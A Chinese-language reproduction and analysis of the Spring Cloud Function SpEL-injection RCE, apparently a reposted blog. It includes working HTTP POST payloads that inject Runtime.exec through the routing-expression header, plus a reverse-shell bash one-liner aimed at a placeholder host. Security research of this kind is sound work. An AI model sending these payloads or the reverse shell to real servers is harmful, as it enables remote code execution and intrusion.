Spring Cloud Function SpEL表达式RCE漏洞复现分析

来源：互联网收集：自由互联发布时间：2022-05-30

分析了spring-cloud-function可以发现，spring框架的几个由SpEL表达式注入造成的RCE的触发点基本上都很相似，触发类以及触发路由分析对于漏洞挖掘来说都有可以借鉴的地方。简介 Spring Cl

分析了spring-cloud-function可以发现，spring框架的几个由SpEL表达式注入造成的RCE的触发点基本上都很相似，触发类以及触发路由分析对于漏洞挖掘来说都有可以借鉴的地方。　简介

　Spring Cloud功能特点

　影响版本

　3.0.0.M3 <= Spring Cloud Function <=3.2.2

　漏洞复现　环境搭建

　选择版本为V3.1.6

　根据Tags的更新时间选择，还是选择3.1.6比较稳妥，使用IDEA导入项目

　jar包的下载确实很慢，真是麻了。实际上不用下载那么多jar包，确实用不到，导入项目于

\spring-cloud-function-3.1.6\spring-cloud-function-3.1.6\spring-cloud-function-samples\function-sample-pojo修改配置文件spring-cloud-function-3.1.6\spring-cloud-function-3.1.6\spring-cloud-function-samples\function-sample-pojo\src\main\resources\appliaction.properties添加

spring.cloud.function.definition:functionRouter

　配置maven启动项目

http://127.0.0.1:8080

　利用

　构造payload

POST /Ggoodstudy HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 4

gdsf

　这不就吐了么，修改配置文件才能RCE????

　但是修改路由，当路由指定为functionRouter的时候，不修改配置文件已经可以执行恶意payload

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 14

dfdfijkghjkg

　POST请求且必须传参。

　反弹shell

bash -i >& /dev/tvp/xx.xxx.xx.xx/port 0>&1

　进行base64编码，由于这里我使用的是windows环境，所以无法使用反弹shell，具体需要对反弹shell命令进行编码的原因在分析CVE-2018-1270的时候已经分析过了。

　漏洞分析

　首先我们需要了解到spring框架中比较常见的几个jar包

spring-beans

所有应用都要用到的，它包含访问配置文件、创建和管理bean 以及进行Inversion of Control / Dependency Injection（IoC/DI）操作相关的所有类。
spring-Expression

进行SpEL表达式解析
spring-core

Spring 框架基本的核心工具类。Spring 其它组件要都要使用到这个包里的类，是其它组件的基本核心
spring-jdbc

存放对jdbc数据库数据访问所有相关的类
spring-messaging

api以及协议接口
spring-context

为Spring核心提供了大量扩展。可以找到使用Spring ApplicationContext特性时所需的全部类等
spring-web

包含Web 应用开发时，用到Spring 框架时所需的核心类，包括自动载入Web Application Context 特性的类、Struts 与JSF 集成类、文件上传的支持类、Filter 类和大量工具辅助类。
pring-webmvc

包含Spring MVC 框架相关的所有类。包括框架的Servlets，Web MVC框架，控制器和视图支持。